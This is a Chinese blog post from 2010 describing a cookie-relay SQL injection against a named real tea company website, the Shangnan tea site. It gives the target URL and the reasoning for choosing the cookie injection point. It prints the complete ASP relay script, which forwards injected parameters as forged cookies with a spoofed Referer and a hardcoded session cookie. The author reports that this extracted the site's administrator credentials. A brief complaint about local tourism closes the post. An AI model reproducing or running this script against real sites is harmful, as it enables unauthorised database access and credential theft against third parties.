当前位置: 主页 > 日志 > 网络安全 >

cookie注入商南茶叶网-小试cookie中转注入

// by redice 2010.06.18
// redice@163.com
// 仅做研究



cookie注入中转的过程:

 目标URL:http://www.sncha.cn/shownews.asp?id=49,如图。
 


(1)有防sql注入程序保护,尝试get注入失败,如图。
     


(2)判断shownews.asp获取id方法是否为request("id"),在cookie中加入id=49,直接访问http://www.sncha.cn/shownews.asp,
返回和/shownews.asp?id=49同样的页面,如图。从而确认获取id方法为request("id"),下面可以尝试cookie注入了。



(3)如果直接通过修改cookie来尝试,工作量太大了,而且很容易出错(主要是cookie中的数据需要手动完成url编码),
 这里采用get中转cookie注入,该方法是我在“流亡青年”的“注入辅助工具”中看到的,这是一个非常有效的方法,感谢共享。
 通过get中转后,我们就可以采用常规的get注入检测方法(工具)来检测cookie注入点了。


 
 中转原理很简单:
 
 将目的参数(例如,id=49 and 1=1)提交给中转页面(例如,http://localhost:12560/zrzz.asp?xiya=49 and 1=1),
 中转页面程序将参数放入cookie中并提交给目的页面并回显目的页面的输出。在asp中通过xmlhttp组件可以在服务端轻松完成这个中转过程。
 
 下面附上“流亡青年”的“注入辅助工具”中的中转程序的完整源码:zrzz.asp。
 
 简单加上了几句注释。
 
<%
xiyaName=request("xiya")
xiyaName=escape(xiyaName)
'要中转的参数,这里是id
xiyaStr="id="&xiyaName
'把下面的参数值修改为目标页面的url
xiyaUrl="http://www.sncha.cn/shownews.asp"
'http头的referer字段值,有些服务端程序会通过检测referer防止站外提交,这里修改为网站的主页url
xiyaRef="http://www.sncha.cn"
'下面的原始cookie,可以通过cookie浏览器查看,需要登录才能访问的页面必须要加上
xiyaCok="ASPSESSIONIDQSBTTRTD=EKMJAFIBHDPELPHOLDGIKBPF; cck_lasttime=1276826642093; cck_count=0; "
xiyaCok=xiyaCok & ";" & xiyastr &";"
xiyaCok=URLEncoding(xiyaCok)
'post数据
xiyaStr="xiya=??"
response.write  PostData(xiyaUrl,xiyaStr,xiyaCok,xiyaRef)

'发送中转报文
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http

.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody 
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

'url编码
Function URLEncoding(vstrin) 
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) &HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") 
strReturn=Replace(strReturn,chr(43),"%2B")
URLEncoding=strReturn
End Function
%>



将上述程序部署到本地服务器,例如:http://localhost:12560/zrzz.asp

这样当我们访问http://localhost:12560/zrzz.asp?xiya=49 and 1=1 时,
zrzz.asp会将“id=49 and 1=1”放入cookie中提交给http://www.sncha.cn/shownews.asp,并回显shownews.asp返回的内容。


这时,我们就可以将http://localhost:12560/zrzz.asp?xiya=49交给domain来检测了,如下图,成功拿到了管理员的用户名和密码:








顺便给商南县旅游局提个建议:

要尽快搞好金丝峡景区的交通!!不要只知道投广告!
”2个小时等不到一趟班车,售票员态度蛮横,强行拉客,这就是所谓的‘秦岭最美是商洛’吗?“ 我听到朋友这么说,身为商南人我很没面子啊!


注入中转程序:

File: Click to Download

[日志信息]

该日志于 2010-06-18 17:41 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “cookie注入商南茶叶网-小试cookie中转注入” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!!    (尊重他人劳动,你我共同努力)
   
验证(必填):   点击我更换验证码

redice's Blog  is powered by DedeCms |  Theme by Monkeii.Lee |  网站地图 |  本服务器由西安鲲之鹏网络信息技术有限公司友情提供

返回顶部